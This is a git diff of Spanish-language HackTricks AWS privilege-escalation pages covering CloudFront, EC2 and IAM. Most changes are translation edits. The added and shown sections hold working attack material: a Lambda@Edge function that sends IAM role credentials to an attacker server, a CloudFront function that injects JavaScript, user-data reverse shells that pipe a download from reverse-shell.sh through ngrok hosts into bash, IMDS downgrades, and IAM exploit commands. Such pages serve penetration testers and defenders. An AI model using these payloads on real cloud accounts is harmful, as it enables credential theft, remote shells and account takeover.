\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# Crear la malicious function en CloudFront
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# Obtener el ETag de la function en la etapa DEVELOPMENT
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# Publicar la function en la etapa LIVE
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+ // Obtener credenciales del rol
+ const credentials = {
+ accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+ secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+ sessionToken: process.env.AWS_SESSION_TOKEN,
+ };
+ // Enviar credenciales al servidor del atacante
+ try {
+ await fetch("https:///steal-credentials", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(credentials)
+ });
+ } catch (error) {
+ console.error("Error sending credentials:", error);
+ }
+ if (event.Records && event.Records[0] && event.Records[0].cf) {
+ // Modificar cabeceras de la respuesta
+ const response = event.Records[0].cf.response;
+ response.headers["x-credential-theft"] = [
+ {
+ key: "X-Credential-Theft",
+ value: "Successful",
+ },
+ ];
+ return response;
+ }
+ return {
+ statusCode: 200,
+ body: JSON.stringify({ message: "Credentials stolen" })
+ };
+};
+```
+
+```bash
+# Package the Lambda@Edge function
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# Create the Lambda@Edge function with a privileged role
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# Publish a version of the function
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# Aplicar la configuración actualizada de la distribución (debe usar el ETag actual)
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# Activar la función solicitando la distribución
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index 795fd8218..39eba7781 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -12,9 +12,9 @@ Para más **info sobre EC2** consulta:
### `iam:PassRole`, `ec2:RunInstances`
-Un atacante podría **crear una instancia adjuntando un IAM role y luego acceder a la instancia** para robar las credenciales del IAM role desde el metadata endpoint.
+Un atacante podría **crear una instancia adjuntando un IAM role y luego acceder a la instancia** para robar las credenciales del IAM role desde el endpoint de metadatos.
-- **Access via SSH**
+- **Acceso vía SSH**
Lanza una nueva instancia usando una **creada** **ssh key** (`--key-name`) y luego conéctate por ssh a ella (si quieres crear una nueva podrías necesitar el permiso `ec2:CreateKeyPair`).
```bash
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Acceso vía rev shell en user data**
-Puedes lanzar una nueva instancia usando **user data** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar security group de esta manera.
+Puedes iniciar una nueva instancia usando **user data** (`--user-data`) que te enviará una **rev shell**. No necesitas especificar un security group de esta forma.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -40,11 +40,11 @@ Ten cuidado con GuardDuty si usas las credenciales del IAM role fuera de la inst
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Impacto potencial:** Privesc directo a cualquier EC2 role adjunto a instance profiles existentes.
+**Impacto potencial:** privesc directo a cualquier EC2 role adjunto a perfiles de instancia existentes.
-#### Privesc to ECS
+#### Privesc a ECS
-Con este conjunto de permisos también podrías **create an EC2 instance and register it inside an ECS cluster**. De este modo, ECS **services** se **run** dentro de la **EC2 instance** a la que tienes acceso y entonces puedes comprometer esos servicios (docker containers) y **steal their ECS roles attached**.
+Con este conjunto de permisos también podrías **crear una EC2 instance y registrarla dentro de un ECS cluster**. De este modo, los ECS **services** se **ejecutarán** dentro de la **EC2 instance** donde tienes acceso y entonces podrás penetrar esos servicios (docker containers) y **robar los ECS roles adjuntos**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,19 +59,19 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Para aprender cómo **forzar que los servicios de ECS se ejecuten** en esta nueva instancia EC2, consulta:
+Para aprender cómo **forzar que los servicios ECS se ejecuten** en esta nueva instancia EC2, consulta:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del cluster y llevar a cabo el ataque comentado.
+Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance` podrías ser capaz de registrar la instancia dentro del cluster y ejecutar el ataque comentado.
-**Impacto potencial:** Direct privesc a roles de ECS adjuntos a tareas.
+**Potential Impact:** privesc directo a los roles de ECS adjuntos a las tareas.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-De forma similar al escenario anterior, un atacante con estos permisos podría **cambiar el IAM role de una instancia comprometida** para poder robar nuevas credenciales.\
+De forma similar al escenario anterior, un atacante con estos permisos podría **cambiar el rol IAM de una instancia comprometida** para poder robar nuevas credenciales.\
Como un instance profile solo puede tener 1 role, si el instance profile **ya tiene un role** (caso común), también necesitarás **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
@@ -80,17 +80,17 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Si el **instance profile has a role** y el atacante **cannot remove it**, hay otra alternativa. El atacante podría **find** un **instance profile without a role** o **create a new one** (`iam:CreateInstanceProfile`), **add** el **role** a ese **instance profile** (como se discutió anteriormente), y **associate the instance profile** compromised a una i**nstance:** comprometida:
+Si el **instance profile has a role** y el atacante **cannot remove it**, hay otra solución. Podría **find** un **instance profile without a role** o **create a new one** (`iam:CreateInstanceProfile`), **add** el **role** a ese **instance profile** (como se explicó anteriormente), y **associate the instance profile** comprometido a una instancia comprometida i**nstance:**
-- Si la instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
+- Si la instancia **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Impacto potencial:** Privesc directo a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener permisos extra o un estado específico del instance profile).
+**Impacto potencial:** Escalada de privilegios directa a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener permisos adicionales o un estado específico del instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tenía acceso a una instancia podrá robar credenciales de más roles del instance profile cambiando el que está asociado con ella.
+Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tiene acceso a una instancia podrá robar credenciales de más roles de instance profile cambiando el que está asociado a la misma.
- Si **tiene un instance profile**, puedes **eliminar** el instance profile (`ec2:DisassociateIamInstanceProfile`) y **asociarlo**
```bash
@@ -98,15 +98,15 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
+- o bien **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Potential Impact:** Privesc directo a un EC2 role diferente (necesitas haber comprometido una instancia AWS EC2 y tener algún permiso extra o un estado específico del instance profile).
+**Impacto potencial:** Direct privesc to a different EC2 role (necesitas haber comprometido una AWS EC2 instance y algún permiso adicional o un instance profile status específico).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con un **EC2 Role attached** y una **rev shell** en los **user data**.\
+Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con una **EC2 Role attached** y una **rev shell** en el **user data**.\
Una vez que la instancia se ejecute, puede **robar el IAM role**.
```bash
REV=$(printf '#!/bin/bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Un atacante con **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto puede usarse para obtener una **rev shell to the EC2 instance**.
+Un atacante con el **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de la instancia. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Lo cual puede usarse para obtener una **rev shell to the EC2 instance**.
-Ten en cuenta que los atributos solo pueden ser **modificados mientras la instancia está detenida**, por lo que se necesitan los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
+Tenga en cuenta que los atributos solo pueden ser **modificados mientras la instancia esté detenida**, por lo que se requieren los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Impacto potencial:** privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada.
+**Impacto potencial:** Privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Launch Template** con un **rev shell en el user data** y **cualquier EC2 IAM Role asociado a ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** que esté **configurado** para usar la **latest** o la **default version** volverá a lanzar las instancias usando esa plantilla y ejecutará el rev shell.
+Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** puede crear una **nueva Launch Template versión** con un **rev shell en** los **user data** y **cualquier EC2 IAM Role en ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** **que use** esa **Launch Templat**e que esté **configurada** para usar la **más reciente** o la **versión por defecto** volverá a **lanzar las instancias** usando esa plantilla y ejecutará el rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Impacto potencial:** privesc directo a un rol EC2 diferente.
+**Impacto potencial:** Privesc directo a un EC2 role diferente.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa config y esperar a que el rev shell **robe el IAM Role**.
+Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear un Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa configuración y esperar a que el **rev shell** **robe el IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Impacto potencial:** Privesc directo a un rol EC2 diferente.
+**Impacto potencial:** Privesc directo a un rol de EC2 diferente.
### `!autoscaling`
-El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **se necesitan los permisos `iam:PassRole` y `ec2:RunInstances`** (lo cual es un privesc conocido).
+El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **se necesitan los permisos `iam:PassRole` y `ec2:RunInstances`** (que es un privesc conocido).
### `ec2-instance-connect:SendSSHPublicKey`
-Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede agregar una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios.
+Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede añadir una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Impacto potencial:** privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución.
+**Impacto potencial:** privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **añadir una ssh key a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess`** para habilitarla.
+Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **agregar una clave ssh a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess`** para habilitarla.
-Para conectarse al puerto serial también **necesita conocer el username y password de un usuario** dentro de la máquina.
+Para conectarse al puerto serial también **se necesita conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Esta vía no es tan útil para privesc ya que necesitas conocer un username y password para explotarlo.
+Esta manera no es muy útil para privesc ya que necesitas conocer un nombre de usuario y contraseña para explotarlo.
-**Impacto potencial:** (Altamente difícil de probar) Privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución.
+**Potential Impact:** (Altamente imposible de demostrar) Privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución.
### `describe-launch-templates`,`describe-launch-template-versions`
-Dado que launch templates tienen versionado, un atacante con permisos **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles:
+Dado que los launch templates cuentan con versionado, un atacante con **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** permisos podría explotarlos para descubrir información sensible, como credenciales presentes en el user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -250,9 +250,9 @@ done
```
En los comandos anteriores, aunque estamos especificando ciertos patrones (`aws_|password|token|api`), puedes usar una regex diferente para buscar otros tipos de información sensible.
-Si encontramos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticarnos en AWS.
+Suponiendo que encontremos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticarnos en AWS.
-**Impacto potencial:** Escalado directo de privilegios a usuario(s) IAM.
+**Impacto potencial:** Escalada de privilegios directa a usuario(s) IAM.
## Referencias
@@ -263,12 +263,12 @@ Si encontramos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas
-### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
+### `ec2:ModifyInstanceMetadataOptions` (degradación de IMDS para habilitar el robo de credenciales mediante SSRF)
-Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible mediante rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar un SSRF en dicha aplicación, puede recuperar las credenciales del instance profile y pivotar con ellas.
+Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando el `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible a través de rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar una SSRF en dicha aplicación, puede recuperar las credenciales del perfil de instancia y pivotar con ellas.
-- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar un SSRF en el host).
-- Recurso objetivo: La instancia EC2 en ejecución con un instance profile adjunto (IAM role).
+- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar una SSRF en el host).
+- Recurso objetivo: La instancia EC2 en ejecución con un perfil de instancia adjunto (rol IAM).
Ejemplo de comandos:
```bash
@@ -297,5 +297,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Impacto potencial: Robo de las credenciales del instance profile vía SSRF, llevando a privilege escalation y lateral movement con los permisos del role de EC2.
+Impacto potencial: Robo de credenciales del perfil de instancia mediante SSRF, lo que puede conducir a escalada de privilegios y movimiento lateral con los permisos del rol de EC2.
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+Un atacante con el permiso ec2:ModifyInstanceMetadataOptions puede debilitar las protecciones del Instance Metadata Service (IMDS) — por ejemplo, forzando IMDSv1 (haciendo que HttpTokens no sea obligatorio) o incrementando HttpPutResponseHopLimit — facilitando así la exfiltración de credenciales temporales. El vector de riesgo más relevante es aumentar HttpPutResponseHopLimit: al incrementar ese límite de saltos (TTL), el endpoint 169.254.169.254 deja de estar estrictamente limitado al espacio de nombres de red de la VM y puede volverse accesible desde otros procesos/contenedores, permitiendo el robo de credenciales.
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+Un atacante con los permisos ec2:ModifyImageAttribute y ec2:ModifySnapshotAttribute puede compartir AMIs o snapshots con otras cuentas de AWS (o incluso hacerlos públicos), exponiendo imágenes o volúmenes que pueden contener datos sensibles como configuraciones, credenciales, certificados o copias de seguridad. Al modificar los launch permissions de una AMI o los create-volume permissions de un snapshot, el atacante permite que terceros lancen instancias o monten discos desde esos recursos y accedan a su contenido.
+
+Para compartir una AMI con otra cuenta:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+Para compartir un EBS snapshot con otra cuenta:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index fd2864465..54636eb1b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -12,38 +12,38 @@ Para más información sobre IAM consulta:
### **`iam:CreatePolicyVersion`**
-Concede la capacidad de crear una nueva versión de política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar el flag `--set-as-default`. Esto permite definir permisos personalizados.
+Concede la capacidad de crear una nueva versión de la política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar el flag `--set-as-default`. Esto permite definir permisos personalizados.
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso.
+**Impact:** Escala privilegios directamente al permitir cualquier acción en cualquier recurso.
### **`iam:SetDefaultPolicyVersion`**
-Permite cambiar la versión predeterminada de una IAM policy a otra versión existente, lo que puede escalar privilegios si la nueva versión tiene más permisos.
+Permite cambiar la versión predeterminada de una IAM policy por otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.
**Comando Bash:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Impacto:** Escalada de privilegios indirecta al habilitar más permisos.
+**Impacto:** Indirect privilege escalation al habilitar más permisos.
### **`iam:CreateAccessKey`**
-Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una escalada de privilegios.
+Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a privilege escalation.
-**Explotación:**
+**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Impacto:** Privilege escalation directo al asumir los permisos extendidos de otro usuario.
+**Impacto:** Escalada de privilegios directa al asumir los permisos extendidos de otro usuario.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Permite crear o actualizar un perfil de inicio de sesión, incluyendo establecer contraseñas para el inicio de sesión de la consola de AWS, lo que conduce a privilege escalation directo.
+Permite crear o actualizar un perfil de inicio de sesión, incluyendo el establecimiento de contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa.
**Exploit para la creación:**
```bash
@@ -55,17 +55,17 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Impacto:** Escalada de privilegios directa al iniciar sesión como el usuario "any".
+**Impacto:** Escalada de privilegios directa al iniciar sesión como cualquier usuario.
### **`iam:UpdateAccessKey`**
-Permite volver a habilitar una access key deshabilitada, lo que puede provocar acceso no autorizado si el atacante posee dicha access key.
+Permite habilitar una access key deshabilitada, lo que podría dar lugar a acceso no autorizado si el atacante posee la access key deshabilitada.
**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Impacto:** Escalada directa de privilegios al reactivar claves de acceso.
+**Impacto:** Escalada de privilegios directa al reactivar claves de acceso.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
@@ -75,35 +75,35 @@ Permite generar o restablecer credenciales para servicios específicos de AWS (p
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Exploit para Restablecimiento:**
+**Exploit para Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impacto:** Escalada de privilegios directa dentro de los permisos de servicio del usuario.
+**Impacto:** Escalada de privilegios directa dentro de los permisos del servicio del usuario.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-Permite adjuntar políticas a usuarios o grupos, escalando privilegios directamente al heredar los permisos de la política adjunta.
+Permite adjuntar políticas a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la política adjunta.
-**Exploit para el usuario:**
+**Exploit para usuario:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Exploit para Grupo:**
+**Exploit para Group:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Impacto:** Direct privilege escalation to anything the policy grants.
+**Impacto:** Escalada de privilegios directa a cualquier cosa que la política otorgue.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Permite adjuntar o aplicar políticas a roles, usuarios o grupos, habilitando Direct privilege escalation al conceder permisos adicionales.
+Permite adjuntar o insertar políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al otorgar permisos adicionales.
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Exploit para Inline Policies:**
+**Exploit para políticas inline:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -127,7 +127,7 @@ Puedes usar una política como:
]
}
```
-**Impacto:** Escalada de privilegios directa al añadir permisos mediante políticas.
+**Impacto:** Escalada de privilegios directa añadiendo permisos mediante políticas.
### **`iam:AddUserToGroup`**
@@ -141,14 +141,14 @@ aws iam add-user-to-group --group-name --user-name
### **`iam:UpdateAssumeRolePolicy`**
-Permite modificar el documento assume role policy de un role, permitiendo asumir ese role y sus permisos asociados.
+Permite alterar el documento de la política de asunción de un role, habilitando la asunción del role y sus permisos asociados.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Cuando la política se vea como la siguiente, que le da al usuario permiso para asumir el rol:
+Cuando la política se vea como la siguiente, la cual le otorga al usuario permiso para asumir el rol:
```json
{
"Version": "2012-10-17",
@@ -163,38 +163,38 @@ Cuando la política se vea como la siguiente, que le da al usuario permiso para
]
}
```
-**Impacto:** Direct privilege escalation al asumir los permisos de cualquier role.
+**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a un potential indirect privilege escalation.
+Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a una escalada de privilegios indirecta.
-**Exploit for SSH Key Upload:**
+**Exploit para subida de clave SSH:**
```bash
aws iam upload-ssh-public-key --user-name --ssh-public-key-body
```
-**Exploit para desactivación de MFA:**
+**Exploit para la desactivación de MFA:**
```bash
aws iam deactivate-mfa-device --user-name --serial-number
```
-**Impacto:** Escalada de privilegios indirecta al habilitar el acceso a CodeCommit o al deshabilitar la protección MFA.
+**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA.
### **`iam:ResyncMFADevice`**
